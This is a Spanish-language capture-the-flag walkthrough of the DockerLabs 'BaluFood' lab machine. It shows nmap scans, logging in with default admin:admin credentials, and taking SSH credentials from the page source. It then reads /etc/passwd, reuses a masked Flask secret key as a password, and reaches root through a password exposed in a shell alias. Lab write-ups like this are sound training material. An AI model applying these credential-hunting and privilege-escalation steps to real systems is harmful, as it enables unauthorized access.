Post

DockerLabs - BaluFood

DockerLabs - BaluFood

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/BaluFood]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/BaluFood]
└─$ nmap -sCV -p22,5000 172.17.0.2
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 69:15:7d:34:74:1c:21:8a:cb:2c:a2:8c:42:a4:21:7f (ECDSA)
|_  256 a7:3a:c9:b2:ac:cf:44:77:a7:9c:ab:89:98:c7:88:3f (ED25519)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Restaurante Balulero - Inicio
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2

análisis

Comenzamos revisando la página principal del servidor web:

Desktop View

Dispone de una carta que nos permite realizar pedidos:

Desktop View

Y también tiene la funcionalidad de autenticación, donde nos damos cuenta que podemos acceder con las credenciales admin:admin:

Desktop View

acceso inicial por SSH (sysadmin)

Tras acceder, podemos ver los pedidos que hemos realizado antes de loguearnos:

Desktop View

Si seguimos investigando, en el código fuente de la página encontramos unas credenciales:

Desktop View

Dado que la máquina tiene habilitado el puerto 22, podemos suponer que son para loguearnos por SSH:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/BaluFood]
└─$ ssh sysadmin@172.17.0.2                                              
sysadmin@172.17.0.2`s password: 
sysadmin@078c4d4d6cb0:~$ whoami
sysadmin
sysadmin@078c4d4d6cb0:~$ hostname -I
172.17.0.2

Viendo que hemos podido acceder correctamente, comprobamos que usuarios tienen una shell asignada en /etc/passwd:

1
2
3
4
sysadmin@078c4d4d6cb0:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:sysadmin,sysadmin,,:/home/sysadmin:/bin/bash
balulero:x:1001:1001:balulero,,,:/home/balulero:/bin/bash

movimiento lateral (balulero)

En la carpeta del usuario sysadmin encontramos varios ficheros:

1
2
sysadmin@078c4d4d6cb0:~$ ls
app.py  restaurant.db  static  templates

Revisando el script app.py, encontramos una clave secreta:

1
2
3
4
5
6
7
8
sysadmin@078c4d4d6cb0:~$ cat app.py 
from flask import Flask, render_template, redirect, url_for, request, session, flash
import sqlite3
from functools import wraps

app = Flask(__name__)
app.secret_key = 'c****************'
DATABASE = 'restaurant.db'

Probamos a ver si con la misma clave podemos acceder como otro usuario, como por ejemplo, el usuario balulero:

1
2
3
4
sysadmin@078c4d4d6cb0:~$ su balulero
Password: 
balulero@078c4d4d6cb0:/home/sysadmin$ whoami
balulero

escalada de privilegios (root)

Revisamos el historial de comandos ejecutados el usuario balulero, donde vemos que ha ejecutado el comando alias:

1
2
3
4
5
6
7
8
9
10
11
12
balulero@078c4d4d6cb0:~$ cat .bash_history 
nano ~/.bashrc
apt install nano -y
exit
nano ~/.bashrc
source nano ~/.bashrc
source ~/.bashrc
alias
su root
exit
whoami
exit

Ejecutamos el comando alias, y vemos que nos lista los alias que hay definidos, destacando ser-root, el cual nos devuelve una consola como el usuario root al ejecutarse:

1
2
3
balulero@078c4d4d6cb0:~$ alias
alias ls='ls --color=auto'
alias ser-root='echo c********* | su - root'

Dado que la contraseña se ve reflejada, la podemos copiar y obtener una consola como root, o simplemente ejecutar el comando ser-root, aunque yo he optado la primera opción:

1
2
3
4
balulero@078c4d4d6cb0:~$ su root
Password: 
root@078c4d4d6cb0:/home/balulero# whoami
root

Con esto, habremos completado el laboratorio!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.